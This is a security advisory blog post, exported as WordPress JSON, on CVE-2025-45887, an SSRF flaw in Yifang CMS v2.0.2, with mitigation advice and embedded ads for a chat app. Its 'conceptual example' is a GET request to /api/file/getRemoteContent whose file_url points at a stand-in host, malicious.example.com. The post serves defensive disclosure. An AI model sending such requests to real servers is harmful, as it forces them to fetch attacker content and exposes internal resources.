{"id":38665,"date":"2025-05-16T16:11:58","date_gmt":"2025-05-16T16:11:58","guid":{"rendered":""},"modified":"2025-05-26T05:27:16","modified_gmt":"2025-05-26T05:27:16","slug":"cve-2025-45887-ssrf-vulnerability-in-yifang-cms-v2-0-2","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-45887-ssrf-vulnerability-in-yifang-cms-v2-0-2\/","title":{"rendered":"<strong>CVE-2025-45887: SSRF Vulnerability in Yifang CMS v2.0.2<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) project has identified a significant vulnerability in Yifang CMS v2.0.2, designated as CVE-2025-45887. This vulnerability is of particular concern for users and administrators of Yifang CMS, a popular content management system used in a variety of applications.<br \/>\nThe <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47462-cross-site-request-forgery-vulnerability-in-ohidul-islam-challan-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"43656\">vulnerability is classified as a Server-Side Request Forgery<\/a> (SSRF), a type of exploit where an attacker can induce the server to make a request to an arbitrary domain of their choice. Such vulnerabilities can lead to significant breaches of data and system security and, given the severity score of 9.1, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44074-critical-sql-injection-vulnerability-in-seacms-v13-3\/\"  data-wpil-monitor-id=\"43302\">vulnerability is considered critical<\/a> and demands immediate attention.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-45887<br \/>\nSeverity: Critical (9.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-49126-critical-vulnerability-in-solid-edge-se2023-allows-for-potential-system-compromise\/\"  data-wpil-monitor-id=\"43452\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1643547260\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Yifang CMS | v2.0.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44022-arbitrary-code-execution-vulnerability-in-vvveb-cms-v-1-0-6\/\"  data-wpil-monitor-id=\"45352\">vulnerability resides in the \/api\/file\/getRemoteContent endpoint of the Yifang CMS<\/a>. An attacker can craft a malicious request to this endpoint, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-37578-use-after-free-vulnerabilities-in-gtkwave-3-3-115-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"43463\">leading the server to make a request to an arbitrary<\/a>, potentially malicious, external domain. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45616-incorrect-access-control-vulnerability-in-the-admin-api-of-brcc-v1-2-0\/\"  data-wpil-monitor-id=\"43313\">control over server requests could be exploited to access<\/a> internal resources that should be inaccessible from the outside, leading to unauthorized access or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3465804260\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how an attacker might exploit this vulnerability.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/api\/file\/getRemoteContent?file_url=http:\/\/malicious.example.com\/evil_script HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker is using the `file_url` parameter to force the server to fetch content from `http:\/\/malicious.example.com\/evil_script`, which could contain malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48257-remote-code-execution-and-data-exposure-vulnerability\/\"  data-wpil-monitor-id=\"47914\">code or data<\/a> extraction scripts.<\/p>\n<p><strong>Mitigation Measures<\/strong><\/p>\n<p>The primary mitigation measure for this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47884-jenkins-openid-connect-provider-plugin-vulnerability-leading-to-unauthorized-access\/\"  data-wpil-monitor-id=\"50009\">vulnerability is to apply the patch provided<\/a> by the vendor. Until the patch can be applied, a temporary mitigation measure would be to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and filter <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31214-a-critical-network-traffic-interception-vulnerability-in-ios-and-ipados\/\"  data-wpil-monitor-id=\"47701\">network traffic<\/a>. These measures can help to identify and block malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47533-cross-site-request-forgery-vulnerability-in-iqonic-design-graphina\/\"  data-wpil-monitor-id=\"44202\">requests attempting to exploit this vulnerability<\/a>.<br \/>\nRemember, always keep your systems updated and monitor them for any unusual activity to reduce the risk and impact of <a href=\"https:\/\/www.ameeba.com\/blog\/boosting-digital-security-leveraging-the-european-vulnerability-database-enisa\/\"  data-wpil-monitor-id=\"44926\">security vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) project has identified a significant vulnerability in Yifang CMS v2.0.2, designated as CVE-2025-45887. This vulnerability is of particular concern for users and administrators of Yifang CMS, a popular content management system used in a variety of applications. The vulnerability is classified as a Server-Side Request Forgery (SSRF), a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[101],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-38665","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-ssrf"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38665","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=38665"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38665\/revisions"}],"predecessor-version":[{"id":44621,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38665\/revisions\/44621"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=38665"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=38665"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=38665"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=38665"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=38665"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=38665"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=38665"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=38665"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=38665"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}